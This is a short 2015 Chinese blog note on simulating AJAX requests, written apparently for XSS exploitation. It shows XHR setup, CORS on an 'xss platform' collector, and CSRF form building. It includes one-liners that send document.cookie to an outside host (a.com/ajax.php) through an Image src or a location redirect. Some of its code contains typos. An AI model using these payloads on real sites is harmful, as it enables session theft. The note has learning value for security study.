ajax模拟请求

理解ajax

核心对象是XMLHttpRequest(简称xhr),IE7之前是通过ActiveXObject对象实现的。

  • 异步:独立于浏览器主线程去做自己的事情,
  • 同步:请求发送后需要等待响应回来,这个时期进入阻塞阶段

xhr实例化

var xmlhttp;
if(windows.XMLHttpRequest){
xmlhttp = new XMLHttpRequest();
}else{
//ie5、ie6
xmlhttp = new ActiveObject("Microsoft.XMLHTTP");
}


GET请求

ajax是遵守同源策略的,w3c的CORS(Cross-OriginResource Sharing)方案支持跨域,在接收信息(xss平台)设置:


其中*为任意域都行,也可以设置为指定的某域
当漏洞点给xss平台发送请求的时候,浏览器会自动加上Origin头,xss平台会判断这个头中的域是不是自己允许的域。不是就会爆出权限错误,虽然报错,但是还是接收到了数据


GET请求

简单化get请求

//新建img标签对象
new Image().src="http://a.com/ajax.php?get="+escape(document.cookie);
//地址栏打开目标网址,地址会跳转,隐蔽性不高
location.href="http://a.com/ajax.php?get="+escape(document.cookie);


简单POST请求


其中application/x-www-form-urlencoded是默认的标准表单提交格式
还有一种是上传文件中常见,multipart/form-data


POST模拟表单提交


动态创建表单提交(常用于csrf)

通过javascript动态的常见一个form





notice:
本地测试的时候没有加上<html><body>xxx</body></html>,然后报错Uncaught TypeError: Cannot read property 'appendChild' of null
参考了二哥的回复:点击我打开
原因是document.body.appendChild(f);在添加form时候并没有body,于是会爆出null

posted @ 2015-08-31 13:13  l3m0n  阅读(1387)  评论(0)    收藏  举报